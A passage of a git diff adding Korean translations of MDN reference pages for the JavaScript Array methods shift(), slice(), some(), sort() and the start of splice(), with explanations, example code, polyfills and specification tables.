+<p><code>shift</code> 메서드는 0번째 위치의 요소를 제거 하고 연이은 나머지 값들의 위치를 한칸 씩 앞으로 당깁니다. 그리고 제거된 값을 반환 합니다. 만약 배열의 {{jsxref("Array.length", "length")}}가 0이라면 {{jsxref("undefined")}}를 리턴 합니다.</p>
+
+<p><code>shift</code>는 의도적인 일반형태로써; 이 메서드는 배열과 유사한 형태의 객체에서  {{jsxref("Function.call", "호출", "", 1)}} 하거나 {{jsxref("Function.apply", "적용", "", 1)}} 할 수 있습니다. 연속된 일련의 마지막 항목을 나타내는 길이 속성을 가지고 있지 않은 객체의 제로베이스 수치 속성에는 의미 있는 작동을 하지 않을 수 있습니다. (<em>Objects which do not contain a <code>length</code> property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner</em>.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열에서_한_요소_제거하기">배열에서 한 요소 제거하기</h3>
+
+<p>아래 코드는 <code>myFish</code> 라는 배열에서 첫번째 요소를 제거 하기 전과 후를 보여 줍니다.  그리고 제거된 요소도 보여줍니다.</p>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'surgeon'];
+
+console.log('myFish before: ' + myFish);
+// "제거전 myFish 배열: angel,clown,mandarin,surgeon"
+
+var shifted = myFish.shift();
+
+console.log('myFish after: ' + myFish);
+// "제거후 myFish 배열: clown,mandarin,surgeon"
+
+console.log('Removed this element: ' + shifted);
+// "제거된 배열 요소: angel"
+</pre>
+
+<h3 id="while_반복문_안에서_shift()_사용하기">while 반복문 안에서 shift() 사용하기</h3>
+
+<p>shift() 메서드는 while 문의 조건으로 사용되기도 합니다. 아래 코드에서는 while 문을 한번 돌 때 마다 배열의 다음 요소를 제거하고, 이는 빈 배열이 될 때까지 반복됩니다.</p>
+
+<pre><code>var names = ["Andrew", "Edward", "Paul", "Chris" ,"John"];
+
+while( (i = names.shift()) !== undefined ) {
+ console.log(i);
+}
+// Andrew, Edward, Paul, Chris, John</code>
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.shift")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/slice/index.html b/files/ko/web/javascript/reference/global_objects/array/slice/index.html
new file mode 100644
index 0000000000..a5264b1f86
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/slice/index.html
@@ -0,0 +1,155 @@
+---
+title: Array.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/slice
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>slice()</strong></code><strong> </strong>메서드는 어떤 배열의 <code>begin</code>부터 <code>end</code>까지(<code>end</code> 미포함)에 대한 얕은 복사본을 새로운 배열 객체로 반환합니다. 원본 배열은 바뀌지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-slice.html")}}</div>
+
+<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.slice([<em>begin</em>[, <em>end</em>]])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>begin</code> {{optional_inline}}</dt>
+ <dd>0을 시작으로 하는 추출 시작점에 대한 인덱스를 의미합니다.</dd>
+ <dd>음수 인덱스는 배열의 끝에서부터의 길이를 나타냅니다. <code>slice(-2)</code> 는 배열에서 마지막 두 개의 엘리먼트를 추출합니다.</dd>
+ <dd><code>begin</code>이 <code>undefined</code>인 경우에는, 0번 인덱스부터 <code>slice</code> 합니다.</dd>
+ <dd><code>begin</code>이 배열의 길이보다 큰 경우에는, 빈 배열을 반환합니다.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>추출을 종료 할 0 기준 인덱스입니다. <code>slice</code> 는 <code>end</code> 인덱스를 제외하고 추출합니다.</dd>
+ <dd>예를 들어, <code>slice(1,4)</code>는 두번째 요소부터 네번째 요소까지 (1, 2 및 3을 인덱스로 하는 요소) 추출합니다.</dd>
+ <dd>음수 인덱스는 배열의 끝에서부터의 길이를 나타냅니다. 예를들어 <code>slice(2,-1)</code> 는 세번째부터 끝에서 두번째 요소까지 추출합니다.</dd>
+ <dd><code>end</code>가 생략되면 <code>slice()</code>는 배열의 끝까지(<code>arr.length</code>) 추출합니다.</dd>
+</dl>
+
+<p>     만약 <code>end</code> 값이 배열의 길이보다 크다면, <code>silce()</code>는 배열의 끝까지(<code>arr.length</code>) 추출합니다.</p>
+
+<dl>
+ <dt>
+ <h3 id="반환_값">반환 값</h3>
+ </dt>
+</dl>
+
+<p>추출한 요소를 포함한 새로운 배열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>slice()</code>는 원본을 대체하지 않습니다. 원본 배열에서 요소의 얕은 복사본을 반환합니다. 원본 배열의 요소는 다음과 같이 반환 된 배열에 복사됩니다:</p>
+
+<ul>
+ <li>객체 참조(및 실제 객체가 아님)의 경우, <code>slice()</code>는 객체 참조를 새 배열로 복사합니다. 원본 배열과 새 배열은 모두 동일한 객체를 참조합니다. 참조 된 객체가 변경되면 변경 내용은 새 배열과 원래 배열 모두에서 볼 수 있습니다.</li>
+ <li>{{jsxref ("String")}} 및 {{jsxref("Number")}} 객체가 아닌 문자열과 숫자의 경우 <code>slice()</code>는 문자열과 숫자를 새 배열에 복사합니다. 한 배열에서 문자열이나 숫자를 변경해도 다른 배열에는 영향을 주지 않습니다.</li>
+</ul>
+
+<p>새 요소를 두 배열 중 하나에 추가해도 다른 배열은 영향을 받지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기존_배열의_일부_반환">기존 배열의 일부 반환</h3>
+
+<pre class="brush: js">let fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']
+let citrus = fruits.slice(1, 3)
+
+// fruits contains ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']
+// citrus contains ['Orange','Lemon']</pre>
+
+<h3 id="slice_사용하기"><code>slice</code> 사용하기</h3>
+
+<p>다음 예제에서 <code>slice()</code>는 <code>myCar</code>에서 <code>newCar</code>라는 새 배열을 만듭니다. 두 가지 모두 <code>myHonda</code> 객체에 대한 참조를 포함합니다. <code>myHonda</code>의 색상이 자주색으로 변경되면 두 배열 모두 변경 사항을 반영합니다.</p>
+
+<pre class="brush: js">// Using slice, create newCar from myCar.
+let myHonda = { color: 'red', wheels: 4, engine: { cylinders: 4, size: 2.2 } }
+let myCar = [myHonda, 2, 'cherry condition', 'purchased 1997']
+let newCar = myCar.slice(0, 2)
+
+// Display the values of myCar, newCar, and the color of myHonda
+// referenced from both arrays.
+console.log('myCar = ' + JSON.stringify(myCar))
+console.log('newCar = ' + JSON.stringify(newCar))
+console.log('myCar[0].color = ' + myCar[0].color)
+console.log('newCar[0].color = ' + newCar[0].color)
+
+// Change the color of myHonda.
+myHonda.color = 'purple'
+console.log('The new color of my Honda is ' + myHonda.color)
+
+// Display the color of myHonda referenced from both arrays.
+console.log('myCar[0].color = ' + myCar[0].color)
+console.log('newCar[0].color = ' + newCar[0].color)</pre>
+
+<p>스크립트를 실행하면 다음과 같은 기록을 남깁니다.</p>
+
+<pre>myCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2,
+ 'cherry condition', 'purchased 1997']
+newCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2]
+myCar[0].color = red
+newCar[0].color = red
+The new color of my Honda is purple
+myCar[0].color = purple
+newCar[0].color = purple</pre>
+
+<h3 id="배열형_객체">배열형 객체</h3>
+
+<p><code>slice()</code> 메서드를 호출하여 배열형 객체와 콜렉션을 새로운 <code>Array</code>로 변환할 수 있습니다. 단순히 {{jsxref("Function.prototype.bind()")}}를 사용해 객체에 <code>slice()</code>를 바인딩 하면 됩니다. 대표적인 "배열형 객체"의 예시는 함수 내의 {{jsxref("Functions/arguments", "arguments")}}입니다.</p>
+
+<pre class="brush: js">function list() {
+ return Array.prototype.slice.call(arguments);
+}
+
+let list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<p>{{jsxref("Function.prototype.call()")}} 메서드를 사용해서도 바인딩을 할 수 있으며, <code>Array.prototype.slice.call</code> 대신 더 짧게 <code>[].slice.call</code>로 작성할 수도 있습니다.</p>
+
+<p>아무튼, 다음과 같이 {{jsxref("Function.prototype.bind", "bind()")}}를 사용해 줄일 수 있습니다.</p>
+
+<pre class="brush: js">let unboundSlice = Array.prototype.slice
+let slice = Function.prototype.call.bind(unboundSlice)
+
+function list() {
+ return slice(arguments)
+}
+
+let list1 = list(1, 2, 3) // [1, 2, 3]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.slice")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/some/index.html b/files/ko/web/javascript/reference/global_objects/array/some/index.html
new file mode 100644
index 0000000000..8fbe19bcda
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/some/index.html
@@ -0,0 +1,202 @@
+---
+title: Array.prototype.some()
+slug: Web/JavaScript/Reference/Global_Objects/Array/some
+tags:
+ - Array
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>some()</strong></code> 메서드는 배열 안의 어떤 요소라도 주어진 판별 함수를 통과하는지 테스트합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 빈 배열에서 호출하면 무조건 <code>false</code>를 반환합니다.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/array-some.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.some(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소를 시험할 함수. 다음 세 가지 인수를 받습니다.
+ <dl>
+ <dt><code>currentValue</code></dt>
+ <dd>처리할 현재 요소.</dd>
+ <dt><code>index</code> {{Optional_inline}}</dt>
+ <dd>처리할 현재 요소의 인덱스.</dd>
+ <dt><code>array</code> {{Optional_inline}}</dt>
+ <dd><code>some</code>을 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{Optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용하는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>callback</code>이 어떤 배열 요소라도 대해 참인({{Glossary("truthy")}}) 값을 반환하는 경우 <code><strong>true</strong></code>, 그 외엔 <code><strong>false</strong></code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>some</code>은 <code>callback</code>이 참(불린으로 변환했을 때 <code>true</code>가 되는 값)을 반환하는 요소를 찾을 때까지 배열에 있는 각 요소에 대해 한 번씩 <code>callback</code> 함수를 실행합니다. 해당하는 요소를 발견한 경우 <code>some</code>은 즉시 <code>true</code>를 반환합니다. 그렇지 않으면, 즉 모든 값에서 거짓을 반환하면 <code>false</code>를 반환합니다. 할당한 값이 있는 배열의 인덱스에서만 <code>callback</code>을 호출합니다. 삭제했거나 값을 할당한 적이 없는 인덱스에서는 호출하지 않습니다.</p>
+
+<p><code>callback</code>은 요소의 값, 해당 요소의 인덱스 및 순회하고 있는 배열 세 가지 인수와 함께 호출됩니다.</p>
+
+<p><code>thisArg</code> 매개변수를 <code>some</code>에 제공한 경우 <code>callback</code>의 <code>this</code>로 사용됩니다. 그 외엔 {{jsxref("undefined")}}값을 사용합니다. 최종적으로 <code>callback</code>이 볼 수 있는 <code>this</code>의 값은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">함수가 볼 수 있는 <code>this</code>를 결정하는 평소 규칙</a>을 따릅니다.</p>
+
+<p><code>some</code>은 호출한 배열을 변형하지 않습니다.</p>
+
+<p><code>some</code>이 처리하는 요소의 범위는 <code>callback</code>의 첫 호출 전에 설정됩니다. <code>some</code> 호출 이후로 배열에 추가하는 요소는 <code>callback</code>이 방문하지 않습니다. 배열에 원래 있었지만 아직 방문하지 않은 요소가 <code>callback</code>에 의해 변경된 경우, 그 인덱스를 방문하는 시점의 값을 사용합니다. 삭제한 요소는 방문하지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열의_요소_테스트">배열의 요소 테스트</h3>
+
+<p>다음 예제는 배열 내 요소 중 하나라도 10보다 큰지 판별합니다.</p>
+
+<pre class="brush: js">function isBiggerThan10(element, index, array) {
+ return element &gt; 10;
+}
+[2, 5, 8, 1, 4].some(isBiggerThan10); // false
+[12, 5, 8, 1, 4].some(isBiggerThan10); // true
+</pre>
+
+<h3 id="화살표_함수를_사용한_배열의_요소_테스트">화살표 함수를 사용한 배열의 요소 테스트</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a>는 같은 테스트에 대해 더 짧은 구문을 제공합니다.</p>
+
+<pre class="brush: js">[2, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10); // false
+[12, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10); // true
+</pre>
+
+<h3 id="값이_배열_내_존재하는지_확인">값이 배열 내 존재하는지 확인</h3>
+
+<p>다음 예제는 요소가 하나라도 배열 내 존재하는 경우 <code>true</code>를 반환합니다.</p>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+ return arr.some(function(arrVal) {
+ return val === arrVal;
+ });
+}
+
+checkAvailability(fruits, 'kela'); //false
+checkAvailability(fruits, 'banana'); //true</pre>
+
+<h3 id="화살표_함수를_사용하여_값이_존재하는지_확인">화살표 함수를 사용하여 값이 존재하는지 확인</h3>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+ return arr.some(arrVal =&gt; val === arrVal);
+}
+
+checkAvailability(fruits, 'kela'); //false
+checkAvailability(fruits, 'banana'); //true</pre>
+
+<h3 id="모든_값을_불린으로_변환">모든 값을 불린으로 변환</h3>
+
+<pre class="brush: js">var TRUTHY_VALUES = [true, 'true', 1];
+
+function getBoolean(a) {
+ 'use strict';
+
+ var value = a;
+
+ if (typeof value === 'string') {
+ value = value.toLowerCase().trim();
+ }
+
+ return TRUTHY_VALUES.some(function(t) {
+ return t === value;
+ });
+}
+
+getBoolean(false); // false
+getBoolean('false'); // false
+getBoolean(1); // true
+getBoolean('true'); // true</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code><font face="consolas, Liberation Mono, courier, monospace">some</font></code>은 ECMA-262 표준 제5판에 추가됐습니다. 따라서 어떤 표준 구현체에서는 사용할 수 없을 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 환경에서도 <code>some</code>을 사용할 수 있습니다. 아래 알고리즘은 {{jsxref("Object")}}와 {{jsxref("TypeError")}}가 변형되지 않고, <code>fun.call</code>의 계산 값이 원래의 {{jsxref("Function.prototype.call()")}}과 같은 경우 ECMA-262 제5판이 명시한 것과 동일합니다.</p>
+
+<pre class="brush: js">// ECMA-262 5판, 15.4.4.17항의 작성 과정
+// 출처: http://es5.github.io/#x15.4.4.17
+if (!Array.prototype.some) {
+ Array.prototype.some = function(fun/*, thisArg*/) {
+ 'use strict';
+
+ if (this == null) {
+ throw new TypeError('Array.prototype.some called on null or undefined');
+ }
+
+ if (typeof fun !== 'function') {
+ throw new TypeError();
+ }
+
+ var t = Object(this);
+ var len = t.length &gt;&gt;&gt; 0;
+
+ var thisArg = arguments.length &gt;= 2 ? arguments[1] : void 0;
+ for (var i = 0; i &lt; len; i++) {
+ if (i in t &amp;&amp; fun.call(thisArg, t[i], i, t)) {
+ return true;
+ }
+ }
+
+ return false;
+ };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.17', 'Array.prototype.some')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.6에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.some")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/sort/index.html b/files/ko/web/javascript/reference/global_objects/array/sort/index.html
new file mode 100644
index 0000000000..ddab9a428f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/sort/index.html
@@ -0,0 +1,245 @@
+---
+title: Array.prototype.sort()
+slug: Web/JavaScript/Reference/Global_Objects/Array/sort
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>sort()</strong></code> 메서드는 배열의 요소를 적절한 위치에 정렬한 후 그 배열을 반환합니다. 정렬은 <a href="https://en.wikipedia.org/wiki/Sorting_algorithm#Stability">stable sort</a>가 아닐 수 있습니다. 기본 정렬 순서는 문자열의 유니코드 코드 포인트를 따릅니다.</p>
+
+<p>정렬 속도와 복잡도는 각 구현방식에 따라 다를 수 있습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-sort.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.sort([<var>compareFunction]</var>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>compareFunction</code> {{optional_inline}}</dt>
+ <dd>정렬 순서를 정의하는 함수. 생략하면 배열은 각 요소의 문자열 변환에 따라 각 문자의 유니 코드 코드 포인트 값에 따라 정렬됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>정렬한 배열. 원 배열이 정렬되는 것에 유의하세요. 복사본이 만들어지는 것이 아닙니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>compareFunction</code>이 제공되지 않으면 요소를 문자열로 변환하고 유니 코드 코드 포인트 순서로 문자열을 비교하여 정렬됩니다. 예를 들어 "바나나"는 "체리"앞에옵니다. 숫자 정렬에서는 9가 80보다 앞에 오지만 숫자는 문자열로 변환되기 때문에 "80"은 유니 코드 순서에서 "9"앞에옵니다.</p>
+
+<p><code>compareFunction</code>이 제공되면 배열 요소는 compare 함수의 반환 값에 따라 정렬됩니다. a와 b가 비교되는 두 요소라면,</p>
+
+<ul>
+ <li><code>compareFunction(a, b)</code>이 0보다 작은 경우 a를 b보다 낮은 색인으로 정렬합니다. 즉, a가 먼저옵니다.</li>
+ <li><code>compareFunction(a, b)</code>이 0을 반환하면 a와 b를 서로에 대해 변경하지 않고 모든 다른 요소에 대해 정렬합니다. 참고 : ECMAscript 표준은 이러한 동작을 보장하지 않으므로 모든 브라우저(예 : Mozilla 버전은 적어도 2003 년 이후 버전 임)가 이를 존중하지는 않습니다.</li>
+ <li><code>compareFunction(a, b)</code>이 0보다 큰 경우, b를 a보다 낮은 인덱스로 소트합니다.</li>
+ <li><code>compareFunction(a, b)</code>은 요소 a와 b의 특정 쌍이 두 개의 인수로 주어질 때 항상 동일한 값을 반환해야합니다. 일치하지 않는 결과가 반환되면 정렬 순서는 정의되지 않습니다.</li>
+</ul>
+
+<p>따라서 compare 함수의 형식은 다음과 같습니다.</p>
+
+<pre class="brush: js">function compare(a, b) {
+ if (a is less than b by some ordering criterion) {
+ return -1;
+ }
+ if (a is greater than b by the ordering criterion) {
+ return 1;
+ }
+ // a must be equal to b
+ return 0;
+}
+</pre>
+
+<p>문자열 대신 숫자를 비교하기 위해 compare 함수는 a에서 b를 뺄 수 있습니다. 다음 함수는 배열을 오름차순으로 정렬합니다 (Infinity 및 NaN이 포함되어 있지 않은 경우).</p>
+
+<pre class="brush: js">function compareNumbers(a, b) {
+ return a - b;
+}
+</pre>
+
+<p>sort 메소드는 {{jsxref ( "연산자 / 함수", "함수식", "", 1)}} (및 클로저)와 함께 편리하게 사용할 수 있습니다.</p>
+
+<pre class="brush: js">var numbers = [4, 2, 5, 1, 3];
+numbers.sort(function(a, b) {
+ return a - b;
+});
+console.log(numbers);
+
+// [1, 2, 3, 4, 5]
+</pre>
+
+<p>개체는 해당 속성 중 하나의 값을 기준으로 정렬 할 수 있습니다.</p>
+
+<pre class="brush: js">var items = [
+ { name: 'Edward', value: 21 },
+ { name: 'Sharpe', value: 37 },
+ { name: 'And', value: 45 },
+ { name: 'The', value: -12 },
+ { name: 'Magnetic', value: 13 },
+ { name: 'Zeros', value: 37 }
+];
+
+// value 기준으로 정렬
+items.sort(function (a, b) {
+ if (a.value &gt; b.value) {
+ return 1;
+ }
+ if (a.value &lt; b.value) {
+ return -1;
+ }
+ // a must be equal to b
+ return 0;
+});
+
+// name 기준으로 정렬
+items.sort(function(a, b) {
+ var nameA = a.name.toUpperCase(); // ignore upper and lowercase
+ var nameB = b.name.toUpperCase(); // ignore upper and lowercase
+  if (nameA &lt; nameB) {
+ return -1;
+  }
+  if (nameA &gt; nameB) {
+ return 1;
+  }
+
+  // 이름이 같을 경우
+  return 0;
+});</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_만들기_표시_및_정렬">배열 만들기, 표시 및 정렬</h3>
+
+<p>다음 예제에서는 네 개의 배열을 만들고 원래 배열을 표시 한 다음 정렬 된 배열을 표시합니다. 숫자 배열은 비교 함수없이 정렬 된 다음 비교 함수로 정렬됩니다.</p>
+
+<pre class="brush: js">var stringArray = ['Blue', 'Humpback', 'Beluga'];
+var numericStringArray = ['80', '9', '700'];
+var numberArray = [40, 1, 5, 200];
+var mixedNumericArray = ['80', '9', '700', 40, 1, 5, 200];
+
+function compareNumbers(a, b) {
+ return a - b;
+}
+
+console.log('stringArray:', stringArray.join());
+console.log('Sorted:', stringArray.sort());
+
+console.log('numberArray:', numberArray.join());
+console.log('Sorted without a compare function:', numberArray.sort());
+console.log('Sorted with compareNumbers:', numberArray.sort(compareNumbers));
+
+console.log('numericStringArray:', numericStringArray.join());
+console.log('Sorted without a compare function:', numericStringArray.sort());
+console.log('Sorted with compareNumbers:', numericStringArray.sort(compareNumbers));
+
+console.log('mixedNumericArray:', mixedNumericArray.join());
+console.log('Sorted without a compare function:', mixedNumericArray.sort());
+console.log('Sorted with compareNumbers:', mixedNumericArray.sort(compareNumbers));
+</pre>
+
+<p>이 예제는 다음 출력을 생성합니다. 결과가 보여 주듯이 비교 함수가 사용되면 숫자는 숫자 또는 숫자 문자열인지 여부에 관계없이 올바르게 정렬됩니다.</p>
+
+<pre>stringArray: Blue,Humpback,Beluga
+Sorted: Beluga,Blue,Humpback
+
+numberArray: 40,1,5,200
+Sorted without a compare function: 1,200,40,5
+Sorted with compareNumbers: 1,5,40,200
+
+numericStringArray: 80,9,700
+Sorted without a compare function: 700,80,9
+Sorted with compareNumbers: 9,80,700
+
+mixedNumericArray: 80,9,700,40,1,5,200
+Sorted without a compare function: 1,200,40,5,700,80,9
+Sorted with compareNumbers: 1,5,9,40,80,200,700
+</pre>
+
+<h3 id="비_ASCII_문자_정렬">비 ASCII 문자 정렬</h3>
+
+<p>ASCII 이외의 문자, 즉 악센트 부호가있는 문자 (e, é, è, a, ä 등)가있는 문자열을 정렬하려면 영어가 아닌 다른 언어의 문자열에 {{jsxref ( "String.localeCompare")}}를 사용하십시오. 이 함수는 해당 문자를 비교하여 올바른 순서로 나타낼 수 있습니다.</p>
+
+<pre class="brush: js">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu'];
+items.sort(function (a, b) {
+ return a.localeCompare(b);
+});
+
+// items is ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']
+</pre>
+
+<h3 id="map을_사용한_정렬">map을 사용한 정렬</h3>
+
+<p><code>compareFunction</code>은 배열 내의 요소마다 여러 번 호출될 수 있습니다. 이러한 <code>compareFunction</code>의 성질에 따라,  높은 오버헤드가 발생할 수도 있습니다. <code>compareFunction</code>이 복잡해지고, 정렬할 요소가 많아질 경우, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>을 사용한 정렬을 고려해보는 것이 좋습니다. 이 방법은 임시 배열을 하나 만들어서 여기에 실제 정렬에 사용할 값만을 뽑아서 넣어서 이를 정렬하고, 그 결과를 이용해서 실제 정렬을 하는 것입니다.</p>
+
+<pre class="brush: js">// 소트 할 배열
+var list = ['Delta', 'alpha', 'CHARLIE', 'bravo'];
+
+// 임시 배열은 위치 및 정렬 값이있는 객체를 보유합니다.
+var mapped = list.map(function(el, i) {
+ return { index: i, value: el.toLowerCase() };
+})
+
+// 축소 치를 포함한 매핑 된 배열의 소트
+mapped.sort(function(a, b) {
+ return +(a.value &gt; b.value) || +(a.value === b.value) - 1;
+});
+
+// 결과 순서를 위한 컨테이너
+var result = mapped.map(function(el){
+ return list[el.index];
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.11', 'Array.prototype.sort')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.sort")}}</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/splice/index.html b/files/ko/web/javascript/reference/global_objects/array/splice/index.html
new file mode 100644
index 0000000000..eb2a09af12
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/splice/index.html
@@ -0,0 +1,153 @@
+---
+title: Array.prototype.splice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/splice
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>splice()</strong></code> 메서드는 배열의 기존 요소를 삭제 또는 교체하거나 새 요소를 추가하여 배열의 내용을 변경합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-splice.html")}}</div>
+
+
+
